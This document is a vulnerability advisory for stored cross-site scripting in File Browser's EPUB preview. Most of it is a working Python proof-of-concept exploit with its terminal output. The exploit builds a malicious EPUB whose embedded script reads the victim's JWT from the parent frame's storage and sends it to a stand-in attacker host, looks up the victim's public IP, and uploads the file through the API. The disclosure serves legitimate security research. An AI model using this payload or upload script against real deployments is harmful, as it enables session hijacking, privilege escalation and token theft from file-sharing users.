CVE-2026-34529 — filebrowser

Summary

The EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file.

Details

frontend/src/views/files/Preview.vue passes allowScriptedContent: true to the vue-reader (epub.js) component:

// frontend/src/views/files/Preview.vue (Line 87)
:epubOptions="{
  allowPopups: true,
  allowScriptedContent: true,
}"

epub.js renders EPUB content inside a sandboxed <iframe> with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which renders the sandbox ineffective — the script can access the parent frame's DOM and storage.

The epub.js developers explicitly warn against enabling scripted content.

PoC

I've crafted the PoC python script that could be ran on test environment using docker compose:

services:

  filebrowser:
    image: filebrowser/filebrowser:v2.62.1
    user: 0:0
    ports:
      - "80:80"

And running this PoC python script:

import argparse
import io
import sys
import zipfile
import requests


BANNER = """
  Stored XSS via EPUB PoC
  Affected: filebrowser/filebrowser <=v2.62.1
  Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }
  Related: CVE-2024-35236 (same pattern in audiobookshelf)
"""



CONTAINER_XML = """<?xml version="1.0" encoding="UTF-8"?>
<container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container">
  <rootfiles>
    <rootfile full-path="OEBPS/content.opf" media-type="application/oebps-package+xml"/>
  </rootfiles>
</container>"""



CONTENT_OPF = """<?xml version="1.0" encoding="UTF-8"?>
<package xmlns="http://www.idpf.org/2007/opf" unique-identifier="uid" version="3.0">
  <metadata xmlns:dc="http://purl.org/dc/elements/1.1/">
    <dc:identifier id="uid">poc-xss-epub-001</dc:identifier>
    <dc:title>Security Test Document</dc:title>
    <dc:language>en</dc:language>
    <meta property="dcterms:modified">2025-01-01T00:00:00Z</meta>
  </metadata>
  <manifest>
    <item id="chapter1" href="chapter1.xhtml" media-type="application/xhtml+xml"/>
    <item id="nav" href="nav.xhtml" media-type="application/xhtml+xml" properties="nav"/>
  </manifest>
  <spine>
    <itemref idref="chapter1"/>
  </spine>
</package>"""



NAV_XHTML = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:epub="http://www.idpf.org/2007/ops">
<head><title>Navigation</title></head>
<body>
  <nav epub:type="toc">
    <ol><li><a href="chapter1.xhtml">Chapter 1</a></li></ol>
  </nav>
</body>
</html>"""



XSS_CHAPTER = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Chapter 1</title></head>
<body>
  <h1>Security Test Document</h1>
  <p>This document tests EPUB script execution in File Browser.</p>
  <p id="xss-proof" style="color: red; font-weight: bold;">Waiting...</p>
  <p id="ip-proof" style="color: orange; font-weight: bold;">Fetching IP...</p>
  <script>
  var out = document.getElementById("xss-proof");
  var ipOut = document.getElementById("ip-proof");
  var jwt = "not-found";
  try { jwt = window.parent.localStorage.getItem("jwt"); } catch(e) { jwt = "error: " + e.message; }
  out.innerHTML = "XSS OK" + String.fromCharCode(60) + "br/" + String.fromCharCode(62) + "JWT: " + jwt;
  fetch("https://ifconfig.me/ip").then(function(r){ return r.text(); }).then(function(ip){
    ipOut.textContent = "Victim public IP: " + ip.trim();
  }).catch(function(e){
    ipOut.textContent = "IP fetch failed: " + e.message;
  });
  var img = new Image();
  img.src = "https://attacker.example/?stolen=" + encodeURIComponent(jwt);
  </script>
</body>
</html>"""




def login(base: str, username: str, password: str) -> str:
    r = requests.post(f"{base}/api/login",
                      json={"username": username, "password": password},
                      timeout=10)
    if r.status_code != 200:
        print(f"[-] Login failed: {r.status_code}")
        sys.exit(1)
    return r.text.strip('"')



def build_epub() -> bytes:
    """Build a minimal EPUB 3 file with embedded JavaScript."""
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr("mimetype", "application/epub+zip", compress_type=zipfile.ZIP_STORED)
        zf.writestr("META-INF/container.xml", CONTAINER_XML)
        zf.writestr("OEBPS/content.opf", CONTENT_OPF)
        zf.writestr("OEBPS/nav.xhtml", NAV_XHTML)
        zf.writestr("OEBPS/chapter1.xhtml", XSS_CHAPTER)
    return buf.getvalue()



def main():
    print(BANNER)
    ap = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter,
        description="Stored XSS via malicious EPUB PoC",
        epilog="""examples:
  %(prog)s -t http://localhost:8080 -u admin -p admin
  %(prog)s -t http://target.com/filebrowser -u user -p pass

root cause:
  frontend/src/views/files/Preview.vue passes
  epubOptions: { allowScriptedContent: true } to the vue-reader
  (epub.js) component. The iframe sandbox includes allow-scripts
  and allow-same-origin, which lets the script access the parent
  frame's localStorage and make arbitrary network requests.

impact:
  Session hijacking, privilege escalation, data exfiltration.
  A low-privilege user with upload access can steal admin tokens.""",
    )

    ap.add_argument("-t", "--target", required=True,
                    help="Base URL of File Browser (e.g. http://localhost:8080)")
    ap.add_argument("-u", "--user", required=True,
                    help="Username to authenticate with")
    ap.add_argument("-p", "--password", required=True,
                    help="Password to authenticate with")
    if len(sys.argv) == 1:
        ap.print_help()
        sys.exit(1)
    args = ap.parse_args()

    base = args.target.rstrip("/")

    print()
    print("[*] ATTACK BEGINS...")
    print("====================")

    print(f"  [1] Authenticating to {base}")
    token = login(base, args.user, args.password)
    print(f"      Logged in as: {args.user}")

    print(f"\n  [2] Building malicious EPUB")
    epub_data = build_epub()
    print(f"      EPUB size: {len(epub_data)} bytes")

    upload_path = "/poc_xss_test.epub"
    print(f"\n  [3] Uploading to {upload_path}")
    requests.delete(f"{base}/api/resources{upload_path}",
                    headers={"X-Auth": token}, timeout=10)
    r = requests.post(
        f"{base}/api/resources{upload_path}?override=true",
        data=epub_data,
        headers={
            "X-Auth": token,
            "Content-Type": "application/epub+zip",
        },
        timeout=30
    )

    if r.status_code in (200, 201, 204):
        print(f"      Upload OK ({r.status_code})")
    else:
        print(f"      Upload FAILED: {r.status_code} {r.text[:200]}")
        sys.exit(1)

    preview_url = f"{base}/files{upload_path}"

    print(f"\n  [4] Done")
    print(f"      Preview URL: {preview_url}")
    print("====================")
    print()
    print()
    print(f"Open the URL above in a browser. You should see:")
    print(f"  - Red text:    \"XSS OK\" + stolen JWT token")
    print(f"  - Orange text: victim's public IP (via ifconfig.me)")
    print()
    print(f"NOTE: alert() is blocked by iframe sandbox (no allow-modals).")
    print(f"The attack is silent — JWT theft and network exfiltration work.")


if __name__ == "__main__":
    main()

And terminal output:

root@server205:~/sec-filebrowser# python3 poc_xss_epub.py  -t http://localhost -u admin -p VJlfum8fGTmyXx8t

  Stored XSS via EPUB PoC
  Affected: filebrowser/filebrowser <=v2.62.1
  Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }
  Related: CVE-2024-35236 (same pattern in audiobookshelf)


[*] ATTACK BEGINS...
====================
  [1] Authenticating to http://localhost
      Logged in as: admin

  [2] Building malicious EPUB
      EPUB size: 1927 bytes

  [3] Uploading to /poc_xss_test.epub
      Upload OK (200)

  [4] Done
      Preview URL: http://localhost/files/poc_xss_test.epub
====================


Open the URL above in a browser. You should see:
  - Red text:    "XSS OK" + stolen JWT token
  - Orange text: victim's public IP (via ifconfig.me)

NOTE: alert() is blocked by iframe sandbox (no allow-modals).
The attack is silent — JWT theft and network exfiltration work.

Impact

• JWT token theft — full session hijacking
• Privilege escalation — a low-privilege user with upload (Create) permission can steal an admin's token